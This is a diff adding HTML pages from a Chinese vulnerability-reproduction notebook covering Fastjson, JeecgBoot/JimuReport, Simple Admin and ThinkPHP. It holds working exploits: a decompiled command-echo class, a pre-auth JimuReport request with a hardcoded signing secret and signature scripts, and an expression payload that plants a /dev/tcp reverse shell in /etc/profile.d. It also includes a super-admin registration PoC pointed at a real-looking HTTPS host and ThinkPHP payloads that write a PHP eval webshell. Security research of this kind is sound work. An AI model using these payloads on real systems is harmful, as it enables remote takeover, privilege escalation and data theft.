ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"}}

+

漏洞存在即可直接回显结果。

+

4.2 利用代码简单分析 +payload中的二进制代码是BCEL类的加密内容。如果想要进行分析的话 ,可以通过工具来直接解析出结果。 +随文附上解析工具 ,执行

+

java -jar BCELCode.jar -d 1.txt

+
// Source code is decompiled from a .class file using FernFlower decompiler.
package com.fastjson.vul;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
public SpringEcho() {
}

static {
try {
Class var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method var1 = var0.getMethod("getRequestAttributes");
Object var2 = var1.invoke((Object)null);
var0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
var1 = var0.getMethod("getResponse");
Method var3 = var0.getMethod("getRequest");
Object var4 = var1.invoke(var2);
Object var5 = var3.invoke(var2);
Method var6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method var7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader", String.class);
var7.setAccessible(true);
var6.setAccessible(true);
Object var8 = var6.invoke(var4);
String var9 = (String)var7.invoke(var5, "cmd");
String[] var10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
var10[0] = "cmd";
var10[1] = "/c";
} else {
var10[0] = "/bin/sh";
var10[1] = "-c";
}

var10[2] = var9;
var8.getClass().getDeclaredMethod("println", String.class).invoke(var8, (new Scanner(Runtime.getRuntime().exec(var10).getInputStream())).useDelimiter("\\A").next());
var8.getClass().getDeclaredMethod("flush").invoke(var8);
var8.getClass().getDeclaredMethod("close").invoke(var8);
} catch (Exception var11) {
}

}
}


+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE漏洞绕过/index.html b/en/docs/个人知识库/漏洞复现/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE漏洞绕过/index.html new file mode 100644 index 0000000..e03e474 --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE漏洞绕过/index.html @@ -0,0 +1,190 @@ + + + + + +JimuReport 自动导出 Python 插件表达式注入修复绕过漏洞分析 | wjlin0 + + + + + + + +

JimuReport 自动导出 Python 插件表达式注入修复绕过漏洞分析

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-09-02 17:17:50
+

一、漏洞名称​

+

JimuReport 自动导出 Python 插件表达式注入修复绕过漏洞

+

二、漏洞描述​

+

JeecgBoot 集成的 JimuReport 在自动导出功能中处理 reportParams[].params。当参数值以 = 开头时,参数会进入报表表达式求值流程;在受影响实现中,表达式上下文仍可访问内部模块对象,造成任意文件写入,并可能进一步组合进程启动能力形成服务器端远程代码执行。

+

GitHub Issue #9837 重点修复的是:

+
POST /jmreport/auto/export
+

该入口原本使用 @JimuNoLoginRequired,可以绕过登录进入自动导出流程。修复思路是去除该入口的免登录标记,并增加角色、权限约束。

+

本文分析的绕过路径不是原始 /jmreport/auto/export,而是同一控制器中仍然存在的:

+
POST /jmreport/auto/export/python/plugin
+

本地分析的 JimuReport 2.5.1 类文件显示,该方法仍带有 @JimuNoLoginRequired,同时带有 @JimuSignature。因此,调用方不需要建立正常登录会话,只需要按照固定签名规则生成 X-TIMESTAMP 和 X-Sign,即可继续进入自动导出服务和 Python 导出处理链。签名只校验请求完整性,不会将 params 限制为普通字面量,也没有替代真实身份认证。

+

绕过链如下:

+
    +
  1. 通过报表查询接口取得一个可用的报表 ID;
  2. +
  3. 构造 reportParams[].params,使参数值进入表达式处理;
  4. +
  5. 使用当前毫秒时间戳和插件签名规则计算 X-Sign;
  6. +
  7. 请求 /jmreport/auto/export/python/plugin;
  8. +
  9. @JimuNoLoginRequired 使登录校验放行,@JimuSignature 仅验证签名;
  10. +
  11. 控制器调用 IJimuReportAutoService.autoExport,参数继续进入 Python 自动导出流程;
  12. +
  13. 表达式被求值,产生文件写入或更高影响的执行结果。
  14. +
+

三、影响厂商及产品型号​

+
    +
  • 厂商:JeecgBoot / JimuReport
  • +
  • 产品:JeecgBoot 企业级低代码平台(集成 JimuReport)
  • +
  • 相关功能:JimuReport 自动导出、Python 插件导出
  • +
  • 原始修复入口:/jmreport/auto/export
  • +
  • 绕过入口:/jmreport/auto/export/python/plugin
  • +
+

网络空间搜索引擎:​

+
    +
  • quake: title="JeecgBoot 企业级低代码平台"
  • +
+

image-20260902171749761

+

四、影响产品版本​

+

本地仓库的分析基线如下:

+
    +
  • JeecgBoot:3.9.5
  • +
  • JimuReport Spring Boot 4 Starter:2.5.1
  • +
  • 关键依赖:jimureport-spring-boot4-starter-2.5.1.jar
  • +
+

版本判断应以运行时实际加载的 JimuReport JAR 为准。若部署使用独立 JimuReport、平台镜像或二次开发版本,应检查运行时类文件是否同时具备以下特征:

+
/export/python/plugin
@JimuNoLoginRequired
@JimuSignature
+

本文将“原始入口已加权限、旁路入口仍免登录并可签名调用”的状态定义为受影响状态。

+

五、复现过程及复现截图​

+

1. 准备验证环境​

+

可验证环境:

+
http://127.0.0.1:80
http://127.0.0.1:8080
+

如果应用配置了上下文路径,以下示例使用:

+
http://127.0.0.1:8080/jeecg-boot
+

先确认应用确实部署了 JimuReport。对题设中的两个地址直接请求时,若返回 nginx 405 或 Tomcat 404,说明请求尚未进入目标控制器,应改用正确的上下文路径或实际监听地址。

+

2. 获取报表 ID​

+

向报表查询接口发送 GET 请求:

+
GET /jeecg-boot/jmreport/excelQueryByTemplate?name=&pageNo=1&pageSize=10 HTTP/1.1
Host: 127.0.0.1:8080
Accept: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
+

典型返回为 JSON。不同版本字段包装可能略有差异,重点查看 result.records[].id 字段:

+
{
"success": true,
"result": {
"records": [
{
"id": "REPORT_ID",
"name": "REPORT_NAME"
}
]
}
}
+

将返回的 REPORT_ID 记下,后续放入 reportParams[0].id。若该接口被权限控制,也可以从已经打开的报表页面、导出请求或应用日志中取得同一字段;这一步的目的只是得到一个存在的报表 ID。

+

image-20260902161458266

+

3. 构造原始请求体​

+

使用一个只产生文件标记的表达式作为 params.x:

+
{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache['io']['spit']('/tmp/jeecg_jimureport_poc','JEECG_JIMUREPORT_POC')"},"exportType":"pdf"}]}
+

签名必须针对发送出去的原始字节序列计算。不要在计算签名后重新格式化 JSON、增加换行或改变字段顺序。

+

4. 计算请求头​

+

本地 2.5.1 类文件中的插件签名逻辑等价于:

+
X-TIMESTAMP = 当前 Unix 毫秒时间戳
X-Sign = MD5(raw_body + PLUGIN_SIGN_SECRET).upper()
+

分析基线中 PLUGIN_SIGN_SECRET 为:

+
6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121
+

手工计算示例:

+
BODY='{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache['"'"'io'"'"']['"'"'spit'"'"']('"'"'/tmp/jeecg_jimureport_poc'"'"','"'"'JEECG_JIMUREPORT_POC'"'"')"},"exportType":"pdf"}]}'
TS=$(python3 -c 'import time; print(int(time.time() * 1000))')
SECRET='6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121'
SIGN=$(printf '%s%s' "$BODY" "$SECRET" | md5sum | awk '{print toupper($1)}')
printf 'timestamp=%s\nsign=%s\n' "$TS" "$SIGN"
+

Windows PowerShell 等价计算方式:

+
$Body = '{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache[''io''][''spit''](''/tmp/jeecg_jimureport_poc'',''JEECG_JIMUREPORT_POC'')"},"exportType":"pdf"}]}'
$Secret = '6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121'
$Bytes = [Text.Encoding]::UTF8.GetBytes($Body + $Secret)
$Md5 = [Security.Cryptography.MD5]::Create().ComputeHash($Bytes)
$Sign = ([BitConverter]::ToString($Md5) -replace '-', '').ToUpper()
$Timestamp = [DateTimeOffset]::Now.ToUnixTimeMilliseconds()
$Sign
$Timestamp
+

5. 手工发送绕过请求​

+

将上一步的 REPORT_ID、CURRENT_MILLISECONDS 和 MD5_UPPER 替换为实际值,发送:

+
POST /jeecg-boot/jmreport/auto/export/python/plugin HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/json
X-TIMESTAMP: CURRENT_MILLISECONDS
X-Sign: MD5_UPPER
Content-Length: BODY_BYTE_LENGTH

{"reportParams":[{"id":"REPORT_ID","params":{"x":"=__instance__.moduleCache['io']['spit']('/tmp/jeecg_jimureport_poc','JEECG_JIMUREPORT_POC')"},"exportType":"pdf"}]}
+

也可以使用 curl 发送同一原始 JSON。--insecure 用于忽略 TLS 证书校验;HTTP 环境下不会产生额外影响:

+
curl --insecure -i \
-X POST 'http://127.0.0.1:8080/jeecg-boot/jmreport/auto/export/python/plugin' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36' \
-H 'Content-Type: application/json' \
-H "X-TIMESTAMP: $TS" \
-H "X-Sign: $SIGN" \
--data-binary "$BODY"
+

6. 观察成功响应和验证信号​

+

成功进入控制器时,常见响应为 HTTP 200,响应体可能是导出业务 JSON、下载信息或文件流,取决于版本和导出配置。例如:

+
HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8
+
{
"success": true,
"message": "导出报表成功",
"result": {}
}
+

验证重点不是固定的 result 结构,而是以下信号是否同时出现:

+
    +
  1. 应用日志出现自动导出/Python 导出调用记录;
  2. +
  3. 服务器上出现 /tmp/jeecg_jimureport_poc;
  4. +
  5. 标记文件内容为 JEECG_JIMUREPORT_POC;
  6. +
  7. 返回结果不再是登录失败或权限失败。
  8. +
+

如果文件标记未出现但响应已进入导出流程,应继续检查报表 ID、导出依赖、Python 环境、临时目录权限和应用日志。

+

image-20260902171015989

+

image-20260902171052052

+

7.写入RCE​

+
POST /jeecgboot/jmreport/auto/export/python/plugin HTTP/1.1
Host: 172.20.10.2
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
X-Tenant-Id: 1000
X-TIMESTAMP: 1788340125303
X-Sign: 9C0E1E0A227BC5AC60E05DE6B8AAD291
Referer: http://172.20.10.2/login?redirect=/dashboard/analysis
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Content-Type: application/json
Content-Length: 262

{"reportParams":[{"id":"907480464532770816","params":{"x":"=__instance__.moduleCache['io']['spit']('/etc/profile.d/shell.sh','setsid sh -c \"0<&196;exec 196<>/dev/tcp/攻击者监听IP/1234; /bin/bash <&196 >&196 2>&196\" >/dev/null 2>&1 &')"},"exportType":"pdf"}]}
+

image-20260902171222468

+

随后 通过模拟登录 或 打开 bash 即可触发反弹shell

+

image-20260902171528544

+

六、漏洞分析:​

+

1. 修复前后入口边界对比​

+

Issue #9837 针对的原始入口在控制器中对应 /export 方法。

+

代码位置:

+
./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/b/a.class
+

反编译后可还原为以下结构:

+
@RestController
@RequestMapping("/jmreport/auto")
public class JimuReportAutoController {

@PostMapping("/export")
@RequiresRoles(value = {"admin", "lowdeveloper"}, logical = Logical.OR)
@RequiresPermissions("jmreport:exportJob:export")
public Result<?> export(@RequestBody JimuReportAutoExportVO vo) {
String currentDomain = getCurrentDomain(getRequest());
vo.setDomain(currentDomain);
vo.setExportFrom("api");
return jimuReportAutoService.autoExport(vo);
}

@PostMapping("/export/python/plugin")
@JimuSignature
@JimuNoLoginRequired
public Result<?> exportPythonPlugin(
@RequestBody JimuReportAutoExportVO vo) {
String currentDomain = getCurrentDomain(getRequest());
vo.setDomain(currentDomain);
vo.setExportFrom("api");
return jimuReportAutoService.autoExport(vo);
}
}
+

关键差异是:原始 /export 方法具有角色和权限注解,而 /export/python/plugin 方法仍有 @JimuNoLoginRequired,并且两者最终都调用同一个 autoExport(vo)。因此,只修复 /export 的注解并不能关闭旁路。

+

2. JimuReportAutoController 数据流​

+

代码位置:

+
./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/b/a.class
方法:b(org.jeecg.modules.jmreport.automate.model.JimuReportAutoExportVO)
编译源文件:JimuReportAutoController.java
+

Python 插件方法的实际字节码逻辑等价于:

+
@RequestMapping(value = "/export/python/plugin", method = RequestMethod.POST)
@JimuSignature
@JimuNoLoginRequired
public Result<?> exportPythonPlugin(
@RequestBody JimuReportAutoExportVO jimuReportAutoExportVO) {
String currentDomain = getCurrentDomain(getRequest());
jimuReportAutoExportVO.setDomain(currentDomain);
jimuReportAutoExportVO.setExportFrom("api");
log.debug("【调用python】报表自动导出参数,currentDomain ={}, jimuReportAutoExportVO = {}",
currentDomain, jimuReportAutoExportVO);
return jimuReportAutoService.autoExport(jimuReportAutoExportVO);
}
+

这里没有看到对 reportParams[].params 的 allowlist、表达式前缀拒绝或对象访问限制;请求体完成 JSON 绑定后直接进入统一自动导出服务。

+

image-20260902161822367

+

3. JimuReportSignatureInterceptor:签名通过但不恢复身份认证​

+

代码位置:

+
./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/common/interceptor/JimuReportSignatureInterceptor.class
方法:preHandle(HttpServletRequest, HttpServletResponse, Object)
相关常量:X_SIGN、X_TIMESTAMP、PRINT_PLUGIN_SIGN_SECRET、MAX_EXPIRE
+

拦截器通过反射检查方法是否带有 @JimuSignature。对 Python 插件路径,关键逻辑等价于:

+
public boolean preHandle(HttpServletRequest request,
HttpServletResponse response,
Object handler) throws Exception {
if (!needSignatureVerification(handler)) {
return true;
}

String timestamp = request.getHeader("X-TIMESTAMP");
String sign = request.getHeader("X-Sign");
if (OkConvertUtils.isEmpty(timestamp)
|| OkConvertUtils.isEmpty(sign)) {
error(response, "签名验证失败: 签名参数不存在");
return false;
}

if (System.currentTimeMillis() - Long.parseLong(timestamp)
> 300000L) {
error(response, "签名验证失败:X-TIMESTAMP已过期");
return false;
}

BodyReaderHttpServletRequestWrapper wrapper =
new BodyReaderHttpServletRequestWrapper(request);
String requestUri = request.getRequestURI();
if (requestUri != null
&& requestUri.endsWith("/auto/export/python/plugin")) {
String rawBody = wrapper.getBody();
String calculated = DigestUtils.md5DigestAsHex(
(rawBody + PRINT_PLUGIN_SIGN_SECRET)
.getBytes("UTF-8"))
.toUpperCase();
if (!calculated.equals(sign)) {
error(response, "签名校验失败,参数有误!");
return false;
}
return true;
}

// 其他带 @JimuSignature 的接口按排序后的 query 参数计算签名
return verifyOtherSignaturePaths(wrapper, sign);
}
+

image-20260902162900466

+

4. JimuReportAutoServiceImpl:两条入口汇聚到同一服务​

+

代码位置:

+
./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/service/a/a.class
编译源文件:JimuReportAutoServiceImpl.java
方法:autoExport(JimuReportAutoExportVO)
字段:autoAsyncTasks、pyExecHandler
+

控制器调用接口 IJimuReportAutoService.autoExport(vo)。本地依赖中的服务实现将自动导出任务交给异步任务和具体导出处理器,逻辑可概括为:

+
@Override
public Result<?> autoExport(JimuReportAutoExportVO vo) {
Result<?> result = autoAsyncTasks.export(vo);
if (result.isSuccess()) {
return download(result.getResult().toString(), null);
}
return result;
}
+

原始 /export 和旁路 /export/python/plugin 都执行该调用,因此旁路没有停留在“旧接口返回提示”的层面,而是进入相同的报表参数处理和导出链。

+

image-20260902162958987

+

5. PyExecHandler 与 auto_export.py:表达式数据进入执行流程​

+

代码位置:

+
./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/c/b.class
编译源文件:PyExecHandler.java
相关方法:a(String, String[])、a(String...)

./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!script/auto_export.py

./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/desreport/express/ExpressUtil.class
+

依赖 JAR 中包含:

+
script/auto_export.py
+

Python 执行处理器 org.jeecg.modules.jmreport.automate.c.b(编译源文件名为 PyExecHandler.java)会准备脚本目录、脚本路径和 JSON 参数,然后启动 Python 脚本并解析脚本返回值。其关键流程可还原为:

+
public Result<?> execute(String scriptDir,
String scriptName,
String[] args,
Map<String, String> env) {
if (OkConvertUtils.isEmpty(scriptDir)) {
throw new RuntimeException("脚本目录不能为空");
}
if (!isTrustedScript(scriptDir)) {
throw new RuntimeException("脚本文件不可信");
}

String output = ProcessUtil.exec(
new String[] {scriptName, scriptDir}, env);
return parsePythonResult(output);
}
+

自动导出前置步骤会将 reportParams 中的参数映射到报表查询和表达式处理上下文。受影响数据流可表示为:

+
HTTP JSON
-> JimuReportAutoExportVO.reportParams
-> 自动导出任务参数映射
-> 报表查询参数
-> ExpressUtil / Aviator 表达式求值
-> Python 导出脚本与导出结果
+

当参数值以 = 开头时,表达式处理器会去除前缀并执行表达式。验证表达式:

+
=__instance__.moduleCache['io']['spit'](
'/tmp/jeecg_jimureport_poc',
'JEECG_JIMUREPORT_POC'
)
+

表达式中的 __instance__、moduleCache 和 io.spit 体现了内部对象可达性;其直接验证结果是任意路径文件写入。若同一上下文暴露进程启动、静态方法或脚本执行能力,则影响可扩大到操作系统命令执行。

+

image-20260902170822314

+

6. 根因定位​

+

根因不是单一的 MD5 算法,而是三个控制面没有闭合:

+
    +
  1. 入口覆盖不完整:修复对 /export 增加了权限控制,但 /export/python/plugin 仍被 @JimuNoLoginRequired 放行;
  2. +
  3. 签名被误当作权限边界:@JimuSignature 只验证固定字符串和原始请求体,不等价于登录、角色或权限校验;
  4. +
  5. 参数信任边界过宽:reportParams[].params 仍能进入表达式上下文,未被限制为普通数据。
  6. +
+

7. 修复建议​

+
    +
  1. 对 /jmreport/auto/export/python/plugin 去除 @JimuNoLoginRequired,增加与 /jmreport/auto/export 一致的登录、角色和权限校验;
  2. +
  3. 若 Python 插件导出不再使用,直接删除或禁用该路由,并在网关层阻断旧路径;
  4. +
  5. 对 reportParams[].params 实施严格 allowlist,只允许普通字符串、数字、日期等字面量,拒绝 = 表达式前缀、对象访问、模块访问和静态方法调用;
  6. +
  7. 不把固定签名密钥当作身份认证,改用真实会话、Token、角色和细粒度权限控制;
  8. +
  9. 对 Python 进程进行最小权限隔离,限制文件系统、网络和进程创建能力;
  10. +
  11. 升级后确认运行时 JAR 中 /export/python/plugin 不再带 @JimuNoLoginRequired,并用本文第七节的负向用例验证未登录请求被拒绝。
  12. +
+

七、其他说明事项:​

+
    +
  • +

    本文的“修复绕过”特指 Issue #9837 所修复的 /jmreport/auto/export 与仍可调用的 /jmreport/auto/export/python/plugin 之间的入口覆盖差异,不代表所有版本和部署都必然存在该路由。

    +
  • +
  • +

    文章代码片段来自本地 JeecgBoot 3.9.5、JimuReport 2.5.1 运行时依赖的反编译等价表示;类文件压缩后的方法名可能显示为 a、b、c,不影响路由和注解判断。

    +
  • +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/Simple Admin/任意用户注册即超级管理员/index.html b/en/docs/个人知识库/漏洞复现/Simple Admin/任意用户注册即超级管理员/index.html new file mode 100644 index 0000000..97e82c3 --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/Simple Admin/任意用户注册即超级管理员/index.html @@ -0,0 +1,86 @@ + + + + + +任意用户注册即超级管理员 — PoC | wjlin0 + + + + + + + +

任意用户注册即超级管理员 — PoC

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-08-29 00:22:46
+

Simple Admin Core 公开注册接口 /user/register 无任何鉴权/风控,注册即绑定配置项 +ProjectConf.DefaultRoleId(默认 1)对应角色;初始化数据中角色 1 = role.admin +(code 001,超级管理员),且被初始化 Casbin 策略授予全部 API 路径权限。 +攻击者仅需用 ddddocr 自动识别 5 位图形验证码即可注册超级管理员账号。

+

文件​

+ + + + + + + + + + + + + + + + + +
文件说明
poc.py全链路 PoC:ddddocr 识别验证码 → 注册 → 登录 → JWT 取证 → 调用 /user/list 获取全部用户证明(自动忽略 TLS 证书校验)
requirements.txt依赖:ddddocr requests numpy pillow
+

使用​

+
pip install -r requirements.txt

# 默认目标: http://127.0.0.1:5666 (API 前缀 /sys-api 已内置, 无需追加)
python3 poc.py

# 远程 HTTPS 目标 (自动忽略 TLS 证书校验)
python3 poc.py --target https://bbxt.greenelectricity.cn

# 走代理 (HTTP/SOCKS)
python3 poc.py --target https://bbxt.greenelectricity.cn --proxy http://127.0.0.1:7890

# 指定账号
python3 poc.py --username poc_admin --password 'Test@123456' --email poc@example.com
+

参数说明:

+ + + + + + + + + + + + + + + + + + + + + +
参数说明
--target目标主机根地址(HTTP/HTTPS 均可),默认 http://127.0.0.1:5666;/sys-api 前缀已写死在代码中,无需在 --target 中追加
--proxy代理地址,如 http://127.0.0.1:7890、socks5://127.0.0.1:1080
--username / --password / --email注册账号信息(默认随机用户名与邮箱)
+
+

PoC 默认忽略 TLS 证书校验(verify=False),适用于证书域名不匹配的目标。 +验证账号默认随机命名,请测试完成后在系统中手动删除。

+
+

攻击链​

+
GET  /captcha (公开)                -> captchaId + 验证码图片 (base64Captcha digit, 5位数字)
ddddocr 识别验证码
POST /user/register (公开, 无 JWT) -> 新用户 RoleIds=[1] (role.admin / code 001 / 超级管理员)
POST /user/login (公开) -> JWT payload: roleId="001"
POST /user/list (需 JWT) -> Casbin 放行, 可获取全部用户数据, 证明利用成功
+

实测结果(2026-08-28,本地授权环境)​

+
[+] 验证码识别成功 captchaId=22bj0Hc7GVF6HnaAxTjb captcha=50765
[+] 注册成功: username=poctestlist01 msg=注册成功
[+] 登录成功 userId=01a0492d-25ed-73bf-b946-6f7e9f44c413
[+] JWT payload: {"deptId":1,"exp":...,"iat":...,"roleId":"001","userId":"01a0492d-..."}
[+] 管理员接口 /user/list 访问成功: 共 7 个用户
- poctestlist01 (...)
- admin (id=01a04893-..., email=simple_admin@gmail.com) ← 系统内置超级管理员
[+] [漏洞确认] 匿名注册的账号可直接获得超级管理员权限, 可获取全部用户数据
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/Thinkphp/CVE-2022-38352/index.html b/en/docs/个人知识库/漏洞复现/Thinkphp/CVE-2022-38352/index.html new file mode 100644 index 0000000..2f6be4b --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/Thinkphp/CVE-2022-38352/index.html @@ -0,0 +1,19 @@ + + + + + +CVE-2022-38352 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp5.0.22远程代码执行/index.html b/en/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp5.0.22远程代码执行/index.html new file mode 100644 index 0000000..a853382 --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp5.0.22远程代码执行/index.html @@ -0,0 +1,79 @@ + + + + + +Thinkphp5.0.22远程代码执行 | wjlin0 + + + + + + + +

Thinkphp5.0.22远程代码执行

作者修订时间
wjlin02025-08-19 16:46:45
+

​ 由于,thinkphp 5.0.23 以及5.1.31 之前的版本都未强制开启路由,所以,导致攻击者可以提交恶意参数导致远程代码执行

+

影响版本​

+

​ thinkphp 当前版本< 5.0.22

+

漏洞分析​

+
+

get请求 index.php?s=index/think\app/invokefunction&function=system&vars[0]=dir&vars[1][]=

+
+

1)从入口index.php 首先会来到 thinkphp 的初始化文件

+
+

thinkphp/library/think/App.php -> run()

+
+

image-20220321153031865

+

2)因为漏洞POC与框架的url处理有关,所以直接跟到URL路由检测函数

+
+
+

thinkphp/library/think/App.php -> run() 116

+
+
+

image-20220321153239864

+

3)在这个方法中会检测 url参数,通过参数访问类或者方法 或者模板

+
+

thinkphp/library/think/App.php-> routeCheck()

+
+

​ 该方法中,第620行 调用$request->path() 返回了 url中的s参数值

+

image-20220321154826904

+
	第643 会解析路由,如果 没有用路由会返回false 
+

image-20220321155231182

+

​ 第 654行 当为无效路由时,会去解析兼容路由,

+

image-20220321155428658

+

4)跟进 Route::parseUrl

+
+

thinkphp/library/think/Route.php->parseUrl() 1217

+
+

image-20220321155637197

+

​ 该方法中,在第1225行 会将$url 即s参数中的值,/ 替换成|,用于解析 模板| 控制器|操作|参数

+

image-20220321160229396

+

​ 最终,往回走,将结果返回给 $result

+

image-20220321161309138

+

5)最终回到run()方法中,

+
+

thinkphp/library/think/App.php > run() 139

+
+

​ 在self::exec() 将获得的 $dispatch 做操作

+

image-20220321161642624

+

6)继续跟进,由于 $dispatch 中的第一个参数为,'module'则会去调用,self::module

+

image-20220321161927364

+
    +
  1. 在self::module 第585行会做对比,看模板方法是否存在,存在则会进入if语句中
  2. +
+

image-20220321162809024

+

8.最后返回值,调用self::invokeMethod

+

image-20220321162853374

+

在该方法中会生成ReflectionMethod对象,最后的返回值,调用 ReflectionMethod对象的invokeArgs 方法,该方法会回调一个方法 即 $args数组的第一个,即 invokeFunction

+

image-20220321165756665

+

9)最后在InvokeFunction 方法执行危险函数

+

image-20220321170004451

+

注:关于在ReflectionMethod的使用可参考

+
+

PHP: ReflectionMethod - Manual

+
+

Payload​

+
http://localhost/index.php?s=index/think\app/invokefunction&function=system&vars[0]=whoami&vars[1][]=

http://localhost/index.php?s=index/think\app/invokefunction&function=call_func_user_array&vars[0]=system&vars[1][]=whoami
+
http://localhost/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=sad.php&vars[1][1]=<?php eval($_POST[cmd])?>
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp6.0.12反序列化/index.html b/en/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp6.0.12反序列化/index.html new file mode 100644 index 0000000..2da005c --- /dev/null +++ b/en/docs/个人知识库/漏洞复现/Thinkphp/Thinkphp6.0.12反序列化/index.html @@ -0,0 +1,89 @@ + + + + + +Thinkphp6.0.12反序列化 | wjlin0 + + + + + + + +

Thinkphp6.0.12反序列化

作者修订时间
